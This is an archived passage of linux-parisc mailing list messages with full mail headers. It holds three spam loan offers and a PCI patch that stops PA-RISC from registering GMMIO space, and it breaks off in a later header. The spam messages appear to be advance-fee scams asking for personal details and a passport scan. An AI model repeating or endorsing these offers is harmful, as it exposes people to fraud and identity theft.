X-Microsoft-Exchange-Diagnostics: 1;SG2PR0201MB0982;5:/jJSl26p4/Iv43bhfeNgabc5nsQ651+m8N2hnJ/HG1Go5m+aj6LllnuCatTJkfX7lu95chQA+MmoVJvFRUwinlnRauzcxDXZyoq0vCXafTizBORt2B8da91LogBpRsaR47GEw0UewuHVhgcfdSYx6Q==;24:SitSVFam6BhGU9Tm9DC+tUN26TEcZtUs5wFiiGP1fjk+8cTceIjRlD/I9WmbsBbpo3N+WTRXm/g17d2zJkq41Q==;20:fXv4oVSIj4UUneB5Cjylxhxrs7i7ru034sFghGMizkMR0n3TOTJ07SmWBuD/IyLmHtj06Hu2HUETfIP2T0MjvQ==
SpamDiagnosticOutput: 1:22
SpamDiagnosticMetadata: 00000000%2D0000%2D0000%2D0000%2D000000000000
X-OriginatorOrg: unitedfunds.onmicrosoft.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Aug 2015 18:23:53.9171
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SG2PR0201MB0982
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25995
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25995>

We Give Out Loans For 3% Interest Rate And We Offer Loans From $5,000 To $50,000,000.00, Are You Looking To Buy A House Car Or Company Or Start Up A Truck Company or Buy A Truck Or Personal Loans, Email Us At j.funds2000000@inbox.lv  With Amount Needed And Phone Number.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <jerryfunds2@unitedfunds.onmicrosoft.com>
Newsgroups: gmane.linux.ports.parisc
Subject: (unknown)
Date: Sun, 30 Aug 2015 07:22:43 +0530
Lines: 6
Approved: news@gmane.org
Message-ID: <HK2PR0201MB10108D9A988EB78F6F146F34B86C0@HK2PR0201MB1010.apcprd02.prod.outlook.com>
Reply-To: <j.funds2000000@inbox.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1440899597 9262 80.91.229.3 (30 Aug 2015 01:53:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 30 Aug 2015 01:53:17 +0000 (UTC)
To: Recipients@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 30 03:53:09 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZVrnw-0006sG-88
	for glpp-linux-parisc@plane.gmane.org; Sun, 30 Aug 2015 03:53:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753125AbbH3BxH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 29 Aug 2015 21:53:07 -0400
Original-Received: from mail-sg2apc01hn0238.outbound.protection.outlook.com ([104.47.125.238]:11199
	"EHLO APC01-SG2-obe.outbound.protection.outlook.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1753079AbbH3BxG convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 29 Aug 2015 21:53:06 -0400
Authentication-Results: spf=none (sender IP is ) smtp.mailfrom=<>; 
Original-Received: from hp-PC.www.huaweimobilewifi.com (182.67.210.66) by
 HK2PR0201MB1010.apcprd02.prod.outlook.com (10.162.245.140) with Microsoft
 SMTP Server (TLS) id 15.1.256.15; Sun, 30 Aug 2015 01:52:53 +0000
Content-Description: Mail message body
Original-Subject: 
X-Originating-IP: [182.67.210.66]
X-ClientProxiedBy: HKXPR03CA0042.apcprd03.prod.outlook.com (10.141.129.32) To
 HK2PR0201MB1010.apcprd02.prod.outlook.com (25.162.245.140)
X-Microsoft-Exchange-Diagnostics: 1;HK2PR0201MB1010;2:u01DG5m1PDdJd63I2KJXAPSR5R1bmoRJzqSCk9RAFqwyp4YPhSSfvinJp0+qcMaBgnRB1OCv69k+3EKMBEGVUyX+IoCO6GgdfxPyyVt/oEmv8CWfk7N6BSxy8ANl79Wf45krfPk2AUsZZnCJEmGG6y1CvXpX2l6Y4CbZfj47iYg=;3:BUgMv+cgCpKdw/iIurLZLvbV0Ookr5e7S5+EioVTM2zT7nsER21iQeCMy+UEeysliux/bVXkTrjgnZ97sEIY4QpM8ShJizWZIjWa23zGZeS6PEl8qOgricgt8P8BUtDOfxgKDlH3lmpW1wO1iLRpmw==;25:V1gPbubxNQNEGXuZwlHwFPMNaHB/w3407f38v8riqre1R5QjP2vdxmDPzqa7Kk/lppQ85Wv9TCDHN8FqZR+/9ev/zQFSc44byNGRMx7fyrFBU/KnF4pPAGK1jXbyBnbIiOWUrxTCqVewwbFHlDbeHXARCUStVBewVwjdRd3CxChiSRba42RP3EAy50voG7xD0Q4GLpmd/qFSGz7nXv5y5TtlGI1WnXROqsw0IJkYbwy7hX9YJKKuhItAIekFTKZXSif4qRZQXMr/5okaVRMv6w==;4:9GiXInLOq02KwsmjgcRq2jPQoT/0ZpIfqmfg2mvM/ilPvBYOqLQMwwhziob9OwR0eScYpwdhH6xnmPySiMkWtnRNEdQKBG3Gly8Oic9/uoWRhJKEN1gW7UWvGMbu7Ghmkfov
 LQRVB6yb5P+WjPLBtH2dgxpgsQAaNdxJbfmVa7H4UttrwV7RW8SQfWNLYR3E9PcK559WukpFP6fGpsU+Jg2LusscthYgQaFmVJ 
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:;SRVR:HK2PR0201MB1010;
X-Microsoft-Antispam-PRVS: <HK2PR0201MB10105427287A0A958E78253DB86C0@HK2PR0201MB1010.apcprd02.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:;
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(601004)(8121501046)(5005006)(3002001);SRVR:HK2PR0201MB1010;BCL:0;PCL:0;RULEID:;SRVR:HK2PR0201MB1010;
X-Forefront-PRVS: 0684F80A5C
X-Forefront-Antispam-Report: SFV:SPM;SFS:(10019020)(6009001)(199003)(189002)(109986003)(47776003)(53256004)(66066001)(68736005)(86902001)(23756003)(105586002)(107886002)(106356001)(53806999)(43066003)(558084003)(77156002)(81156007)(77096005)(4001540100001)(50466002)(76576001)(62966003)(19580395003)(42186005)(5001830100001)(19580405001)(87976001)(86442001)(122386002)(250100001)(64872006)(33656002)(78352002)(5001920100001)(5406001)(25636003)(189998001)(86152002)(74316001)(5001860100001)(40100003)(5007970100001)(97736004)(4001450100002)(64706001)(46102003)(101416001)(561924002)(5001960100002)(89136004)(42382002)(54356999)(50986999)(5004730100002)(110136002)(439774005);DIR:OUT;SFP:1501;SCL:5;SRVR:HK2PR0201MB1010;H:hp-PC.www.huaweimobilewifi.com;FPR:;SPF:None;PTR:InfoNoRecords;A:0;MX:0;LANG:en;
 
Received-SPF: None (protection.outlook.com: hp-PC.www.huaweimobilewifi.com
 does not designate permitted sender hosts)
X-Microsoft-Exchange-Diagnostics: =?iso-8859-1?Q?1;HK2PR0201MB1010;23:60rgD00/Xodz8bVitXeBLxnh8eUW9ErWSS9Zw?=
 =?iso-8859-1?Q?csDY24k6mmwzeMw+KltWMtzmqAkNvyPqHrh/xJ3a8U1iOW+vD1UdQcsOUG?=
 =?iso-8859-1?Q?XL9xrx9w1ejUzL6lcGwhr4J76PZcKJTxh7Y3SvIyMXlZ8pyuL7BdRpaSAa?=
 =?iso-8859-1?Q?B1nsGou2CaE73FnoYNHtGq4imYQC6G2imX4qZk2Qt4LjntDlWiTxLwyoXF?=
 =?iso-8859-1?Q?o1Oxcp7uFqnO1MSKgjFR51i/wETwPUnyx/IBljvkD9VywwpsdaybVvQ2Ur?=
 =?iso-8859-1?Q?9Us1fB6PTVnQvC59TGT/j96R57+mWjZlCU389a1ETIsVrf3NgbTRIqEPVf?=
 =?iso-8859-1?Q?eyOOT6BoXK+HEORlG9fq7h9YvVR/VwpIqi/RDRjfFvlv13ze7zZYP4P9A3?=
 =?iso-8859-1?Q?LEK9AYG4f0ryftdwUMEL5u6wx1FrgtL2Nrotjfctfg7r198VMe5DYJvz8Z?=
 =?iso-8859-1?Q?WLBYRmAOCUriUqWbtwCzfaiwd+jYB+nNF5oAiaH7oI+9+PvNY7a4i+0WOo?=
 =?iso-8859-1?Q?EpN5PUijO7h+P44R4JehWHpmzb7BqwOEEalPVmUwfpyS+bItazXXOzjedy?=
 =?iso-8859-1?Q?uaAGsbj/JYNOTro7Qkux4SCoZhNqGw1iH324wFzPvQqvyJvE2sjd48qOcR?=
 =?iso-8859-1?Q?owdw 
X-Microsoft-Exchange-Diagnostics: 1;HK2PR0201MB1010;5:iA2fJhb1wWbAGRWtw3zrtXgze23B9BBmB4zSidBjDnOpv5f5eXHsrCGULLDYPdgnyVe+ddSD8TAJNR+ZmcgcdVAzmzFB5eQwVL038eLLs0dBeGi8voDdiOkSBADeH7nJrNThqftMz0iDla3npsgXHw==;24:wgmVl6QD+busmNJ+oIQowgNQWTIiggu6YBJsRUt8Wdwjxo8ukPTmFGWt/bJxf0CwsSGqSMWikbRoRAqRoAvQfw==;20:IaND3/jDK4XwbH24rJAgj1dPV+5xgiFnPq0CFxVQ/OziHZJuHBxm01WFno1dgPmqRdin6E3xx4w+jESGibibEA==
SpamDiagnosticOutput: 1:22
SpamDiagnosticMetadata: 00000000%2D0000%2D0000%2D0000%2D000000000000
X-OriginatorOrg: unitedfunds.onmicrosoft.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 30 Aug 2015 01:52:53.5748
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-Transport-CrossTenantHeadersStamped: HK2PR0201MB1010
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25996
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25996>

We Give Out Loans For 3% Interest Rate And We Offer Loans From $5,000 To $50,000,000.00, Are You Looking To Buy A House Car Or Company Or Start Up A Truck Company or Buy A Truck Or Personal Loans, Email Us At j.funds2000000@inbox.lv  With Amount Needed And Phone Number.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Unknown <unknown@unknown.invalid>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Do you need a loan?
Date: Tue, 1 Sep 2015 00:20:31 +0530
Lines: 30
Approved: news@gmane.org
Message-ID: <HK2PR02MB0707F8D0BCDD05D589B10732B86B0@HK2PR02MB0707.apcprd02.prod.outlook.com>
Reply-To: <jmfinancialserviceltd@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1441047094 2925 80.91.229.3 (31 Aug 2015 18:51:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 31 Aug 2015 18:51:34 +0000 (UTC)
To: Recipients@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 31 20:51:26 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZWUAr-0002vf-So
	for glpp-linux-parisc@plane.gmane.org; Mon, 31 Aug 2015 20:51:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751901AbbHaSvR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 31 Aug 2015 14:51:17 -0400
Original-Received: from mail-sg2apc01hn0246.outbound.protection.outlook.com ([104.47.125.246]:27865
	"EHLO APC01-SG2-obe.outbound.protection.outlook.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1754134AbbHaSvO convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 31 Aug 2015 14:51:14 -0400
Original-Received: from HK2PR02MB0707.apcprd02.prod.outlook.com (10.161.185.155) by
 HK2PR02MB1090.apcprd02.prod.outlook.com (10.165.55.140) with Microsoft SMTP
 Server (TLS) id 15.1.256.15; Mon, 31 Aug 2015 18:51:11 +0000
Authentication-Results: spf=none (sender IP is ) smtp.mailfrom=<>; delphi.com;
 dkim=none (message not signed) header.d=none;delphi.com; dmarc=none
 action=none header.from=;
Original-Received: from [100.64.252.98] (116.203.75.241) by
 HK2PR02MB0707.apcprd02.prod.outlook.com (10.161.185.155) with Microsoft SMTP
 Server (TLS) id 15.1.256.15; Mon, 31 Aug 2015 18:50:57 +0000
Content-Description: Mail message body
Original-From: <>
X-Originating-IP: [116.203.75.241]
X-ClientProxiedBy: BLUPR13CA0004.namprd13.prod.outlook.com (25.160.191.14) To
 HK2PR02MB0707.apcprd02.prod.outlook.com (25.161.185.155)
X-Microsoft-Exchange-Diagnostics: 1;HK2PR02MB0707;2:IVqTsaJIGVK/fmZgzk1mGRVhSkx+C52wXEjL1OGVPJtj/5iZ4Xc3qPSXIwggehYKPzwrOUvOW1+PD0iMRZqnGhTreMtwEkBRl57vQPsu7Ui3IJZW0uHB7ELixcOVKZAxYFrk7Y370LsN78NrQrKUgHKSVTuX/iacb0BJCDAa6GI=;3:PaDsPm2KKnLO3j9E1CyBWyeMtG1A6fBUUClLOQ1brjnpaMycEjblKTolOZz51twX46G8UiQXkukcw3cBnSHi4EnqkuZmme+vOYkjDEGwm3Y78jvt0hbClSC5Ga9DG1dqmvjf270Zq793bwBeMGrSKg==;25:L7JcoD5HtIgKjqL8mEV1awLRAsltQkWwmq/pgxPp7wDG3VjJ3g8e3DsCofDdjpqveV5rMDL15n4YGHVcpXPRkozS3IIgyFtWbElrw9PZZiGP1ajrDA/R4On7/GBFJZ467sZq6SoXCMzyBhxXKeamivQ62AKcwZLM4BR3zieIk6kg0TBhWyek+s/FCwmlANUbYCcypAfmiWgjC253UOS9kEdRuvnr9HnHR6O53U/xYPYw/gJ62lJ8HK3ne6cfFahdkAtiBEflYz4dJkdhw/214Q==;4:Z+nLBggrAVyMKKv5Yhwuo62R610BsGb9PQvO0PiJg4i430wgqAzCJnnJL3XzgbS3jPUMAkZEOQg3A6spP3KugLvu8CdpRFg0Zc57d+4DXezwBWDEVbzlreN52qrGywcXeGp9oU
 Oa8AsmhyYfNArHUircODwgNTFjQx7eJWUkNTFG+gi8F8kaWN4ENPC/oHOpaErBx6URfRY7LFg7XRIa3z+ttv/jNqktMA6m+GV5 
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:;SRVR:HK2PR02MB0707;UriScan:;BCL:0;PCL:0;RULEID:;SRVR:HK2PR02MB1090;
X-Microsoft-Antispam-PRVS: <HK2PR02MB07076B67F8F9941576E69597B86B0@HK2PR02MB0707.apcprd02.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:;
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(601004)(8121501046)(5005006)(3002001);SRVR:HK2PR02MB0707;BCL:0;PCL:0;RULEID:;SRVR:HK2PR02MB0707;
X-Forefront-PRVS: 0685122203
X-Forefront-Antispam-Report: SFV:SPM;SFS:(10019020)(979002)(6049001)(6009001)(189002)(199003)(5001830100001)(86152002)(87976001)(122386002)(40100003)(33656002)(43066003)(62966003)(54356999)(78352002)(66066001)(50986999)(46102003)(105586002)(4001540100001)(5001860100001)(109986003)(53256004)(74316001)(47776003)(85782001)(5005630100001)(97736004)(46552002)(53806999)(64706001)(5004730100002)(4001450100002)(5001960100002)(81156007)(101416001)(76576001)(250100001)(42382002)(42186005)(4001600100001)(68736005)(77096005)(5007970100001)(110136002)(107886002)(189998001)(23756003)(50466002)(77156002)(106356001)(86362001)(7099028)(449874003)(56193001)(88746003)(164563001)(5005620100003)(60522002)(256001)(23603001)(7059030)(30840200002)(506214004)(420604004)(969003)(989001)(999001);DIR:OUT;SFP:1501;SCL
 :5;SRVR:HK2PR02MB0707;H:[100.64.252.98];FPR:;SPF:None;PTR:InfoNoRecords;MX:0;A:0;LANG:en;
Received-SPF: None (protection.outlook.com: [100.64.252.98] does not designate
 permitted sender hosts)
X-Microsoft-Exchange-Diagnostics: =?iso-8859-1?Q?1;HK2PR02MB0707;23:WtbayYPi0sBpnXH5fGcMNcuGSrZIaPHcUAdpgK6?=
 =?iso-8859-1?Q?GtD9MBy4O3q9vc+QBQ8eBABmSKxaQd97g7Efy69J5qWseYMsLk+qf4lbHH?=
 =?iso-8859-1?Q?rx77HlxKHpeXTnpGnFgCLXuj1N4ra26fxW+GGjWnADhIKblBwcPgOhuWzu?=
 =?iso-8859-1?Q?0p0pNQRG8yS9ZBOFFKiXvRHvVjxLhao/UldXC4JMQ1jtIvV7iINotvczO2?=
 =?iso-8859-1?Q?BwbdLOxEwQM6mZJ48J6Ox0tYXZoSpY7FDDNo7wMqYzlf09i1M9dkCxSinn?=
 =?iso-8859-1?Q?wH2ZmFdibYEqfdeBli92IHz9066JW1Y6WFZgTcEoCjkKutmWsWrx0nZytw?=
 =?iso-8859-1?Q?TKEKcb7Y5SooESPMBA6V5vM4wPU3l2uaaynUgC/mqj5+lYotP4lxtiaien?=
 =?iso-8859-1?Q?7vbR788Xpb5Bz0RUz1m/kCV6RWD22adyhfYYF068YE+koBc53ntEE75ckV?=
 =?iso-8859-1?Q?0gaI6S1cGxPEeRMlf+j9LDrT0q9eh7u+LaVDOcOBpZP4onEWNnfdzmoZQM?=
 =?iso-8859-1?Q?la2ErH3k67M0FO1yrs8nIqa/swWWQA1I7TjbkRdtQweHI0t7+VeD1o90A+?=
 =?iso-8859-1?Q?j+jyo+yFlz1/aIgQLQybuQzI3wyqjmG0sUe7Zk8jTccY+R8Imum4ThHad3?=
 =?iso-8859-1?Q?Rw8E 
X-Microsoft-Exchange-Diagnostics: 1;HK2PR02MB0707;5:Qvcfr1/TSPQQGkLsPWxItH7hSKiJFecyTv521lzB7rXfnYNOUI3+xVW+qcff4mSU1o44E0g/5Kfdx6R3nwN3YpJSaD0BT87vu9gC1xW6PulrCmljK/XlhHpg403+Gk+9aAkvfSRMQak/FebggIqwQQ==;24:MCZRwX8yUi7G/OsnNlJwQJ1DAOdIf6lv3QQZFaNRqkFKoCEC2LlR+L2aGYGxPXV1FubADvybF4suGDB+3rBu7w==;20:u4pd+pQ5A2+AE9XxWSCV+9DM0jJGY2mNP2xZIqydnNUzT+WowvzDkYA36hKUEDDdg5P4auJETvvOoFQ5qOHxhA==
SpamDiagnosticOutput: 1:22
SpamDiagnosticMetadata: 00000000%2D0000%2D0000%2D0000%2D000000000000
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 31 Aug 2015 18:50:57.1514
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-Transport-CrossTenantHeadersStamped: HK2PR02MB0707
X-Microsoft-Exchange-Diagnostics: 1;HK2PR02MB1090;2:b6nUfvgUmUpYQDfDMmRFd9aEA0H1wdOrEUEvjD7me6bSImvycjs1axRIJb81w3CUqyVleme7nRt5ekbl5CHhA4qKXDRLOn8q36G2gWr9S6CZTbCjOKlyc4vc1oTvx3YopfaQQBZbdjLJvb546ixVYOnXZstO1hKqTIsdHSx9K5k=;3:1TQoABETia5ywvHYA7HtgiBHvrLK+6N3SbqXevBBPt7ftxN34D0FYzENOJPSc1ljUZyqoPmmpG8Mgmu9M2wBY5iP1leFsiFk3nPM0eTKFUNf6cBKA7dw2IaoFmIULt1v99tn13g/EtY2HSrbkdHKzQ==;25://Ptlo8/iAefOv5RWAlpdsK6TqJaN5LlXCjjJ2XN8oU0Fy+zJHG0SBOEvzJNi856HMKis8aQy5Kcw+op37qIPMgLYEJmiGpOsVWCDQLj7+0j8Fuw5Ow4b8mFp73cAyDsl8BowpGIZJmL/AF+1xdVi5GKJImrhMcpl8ec3mvXlg/GZp6NEPH5mdkR7hiWsRkkv1XbCEnXdwUR0O0KYy8/sjTDI1wjQbjb+dROFeYvEIlZI/sD8P8NvocdSPyvNlkSUXl9Kg3MdJn7ePizi8/Mtg==;23:0o7K80DfDQgPdsZGAW2flcdTbZBaATRjm4DZSm+5iqSzTj+zCQfefH0us1MN4G0dzN8BVsUu29jIr/DTo16elM6HgUNW2MOLuZEjyhjWGIFD+ONjqA5rzipU/hQKl68vk8nnG
 F5kk1zQpz9nzSGjvIuv0Amtmqpwertv+E2eaZXfvtmr+Y5CuS67bTaYSlxe
X-OriginatorOrg: JMFINANCIAL001.onmicrosoft.com
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25997
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25997>

We offer private, commercial and personal loans with very low annualinterest rates as low as 2% in one year to 50 years repayment period anywhere in the world. We offer loans ranging from $5000 to $100 million. Our loans are well insured for maximum security is our priority. Are you losing sleep at night worrying how to get a legitimate loan lender? You bite your nails that fast? Instead of beating you, contact JM Financial Services Ltd now, specialists who help stop loans bad credit history to find a solution that victory is our mission. Applicants must fill out a loan application form below:

FORM credit application

loan applications
Your full name *
Your e-mail *
Your phone *
Your address *
Your city *
State / Province *
Country *
Fax*
Date of birth *
Do you have an account? *
Have you applied before? *
The loan amount is needed *
The Loan Duration*
The life expectancy *
The purpose of the loan *
Send me a scanned copy of your passport: *

Creditor: Mr. Prakash Lass Dickson.
Company: JM Financial Services Ltd.
Copyright JM Financial Ltd. All rights reserved.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.ports.parisc
Subject: [PATCH] PCI,parisc: Enable 64-bit bus addresses on PA-RISC
Date: Wed, 2 Sep 2015 18:17:29 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <20150902161729.GA2444@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1441210673 2738 80.91.229.3 (2 Sep 2015 16:17:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Sep 2015 16:17:53 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-pci@vger.kernel.org, Bjorn Helgaas <bhelgaas@google.com>,
	Meelis Roos <mroos@linux.ee>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-pci-owner@vger.kernel.org Wed Sep 02 18:17:46 2015
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1ZXAjH-0001On-L2
	for glp-linux-pci@plane.gmane.org; Wed, 02 Sep 2015 18:17:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755234AbbIBQRm (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Wed, 2 Sep 2015 12:17:42 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:56934 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754560AbbIBQRm (ORCPT <rfc822;linux-pci@vger.kernel.org>);
	Wed, 2 Sep 2015 12:17:42 -0400
Original-Received: from ls3530.box ([92.203.6.179]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0MMkgl-1ZbsTx0apr-008cD0; Wed, 02 Sep 2015 18:17:34
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:xEVg9mKlZxHGrWKJ8le8bxhzODNgNkiQN0spFjNpsXAzAl+cJLb
 Cy7eTveHGF5swAYinMG+Pjnh+lnnuwwMxIb36JaCoudyTp5WaiI5wz9+LNwk8E7pinqOW1C
 qTtzZO8Dj2gTVz3efkEqq34vKjd9T56Mv7GtsHF7MuVw3efO8hPJpWdSpPRoOQu6pHX0622
 S8O1lJ8VbWaVRXSrSWFYQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:wd7oIR8Eink=:WqvocSxrJjUZNVtpFEISYt
 oMy+rL/86oRz1lBdFbTIIsO79Ho3OoSWm1imO8wgB9c44bnEXGT227SwhBhvR01WIku/PDsE3
 P1KhNfFu25XH5IwNJPVzwQ3wJrohU47+hdVhYSet4epoWOyhPRMfxfyUzdBVjbkeWxFfJxzWV
 gZyyLjSXOJ/NXIyuJuSyyYUHW8+Dr/eCVf7+cq3P85RnLecFs7d3m6oLw3dRmp4EjClYTubMQ
 pDZXZwe0q7iAUyDl0DQlzy/YByJyIRoKZDtEVDUFd8jEDtHwhCKxcp2utcOUaBDEUsVq0I7cd
 xeHbchj2VurhdYAjJ6burH3aKLh+3evLBd3Kel3px5tBXHGhYisRbsROKwSMvnI3+ovr/8OWc
 olHfoLJ33ankbnbHgbWcwbHbl2dUFO0aiYfAFbdMwO0NTE3O+6NbjZrfVHcYFn8FGYjRgWG0P
 RuTdvmNt4BWVTjwUbZ3M9drbsA2HAp1OZbdgpF3Pw/zDKEVfdCBZ1UJm2UOvNUNRh5n3U7Tat
 siN0EoEDGu3x8AuFa09Ez257cTem7DRwJLguUWM6B9H4abt/xP72iucg/lZEefVdQr/BfXyDz
 6Zaq7PMXVJjme8um2a277SwYy96elcWfLVRLeEr+GIzECf+kZpqrSqM4r3Y6KKeve9sMS4ZmP
 EiIqwSiRrktDIJPdPYL+JNKplrqTzR41YonqahWY3akmEG9R94vhdT9tIR/eW9cKNrbPENrN2
 QxTKMoffKsA5mt63
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:44798 gmane.linux.ports.parisc:25998
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.pci/44798>

Commit 3a9ad0b ("PCI: Add pci_bus_addr_t") unconditionally introduced usage of
64-bit PCI bus addresses on all 64-bit platforms which broke PA-RISC.

It turned out that due to enabling the 64-bit addresses, the PCI logic decided
to use the GMMIO instead of the LMMIO region. This commit simply disables
registering the GMMIO and thus we fall back to use the LMMIO region as before.

Reverts commit 45ea2a5fed6dacb9bb0558d8b21eacc1c45d5bb4
("PCI: Don't use 64-bit bus addresses on PA-RISC")

To: linux-parisc@vger.kernel.org
Cc: linux-pci@vger.kernel.org
Cc: Bjorn Helgaas <bhelgaas@google.com>
Cc: Meelis Roos <mroos@linux.ee>
Cc: stable@vger.kernel.org  # v3.19+
Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index dceb9dd..a32c1f6 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1556,8 +1556,11 @@ lba_driver_probe(struct parisc_device *dev)
 	if (lba_dev->hba.lmmio_space.flags)
 		pci_add_resource_offset(&resources, &lba_dev->hba.lmmio_space,
 					lba_dev->hba.lmmio_space_offset);
-	if (lba_dev->hba.gmmio_space.flags)
-		pci_add_resource(&resources, &lba_dev->hba.gmmio_space);
+	if (lba_dev->hba.gmmio_space.flags) {
+		/* pci_add_resource(&resources, &lba_dev->hba.gmmio_space); */
+		pr_warn("LBA: Not registering GMMIO space %pR\n",
+			&lba_dev->hba.gmmio_space);
+	}
 
 	pci_add_resource(&resources, &lba_dev->hba.bus_num);
 
diff --git a/drivers/pci/Kconfig b/drivers/pci/Kconfig
index 944f500..73de4ef 100644
--- a/drivers/pci/Kconfig
+++ b/drivers/pci/Kconfig
@@ -2,7 +2,7 @@
 # PCI configuration
 #
 config PCI_BUS_ADDR_T_64BIT
-	def_bool y if (ARCH_DMA_ADDR_T_64BIT || (64BIT && !PARISC))
+	def_bool y if (ARCH_DMA_ADDR_T_64BIT || 64BIT)
 	depends on PCI
 
 config PCI_MSI

From - Thu Nov 08 21:37:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
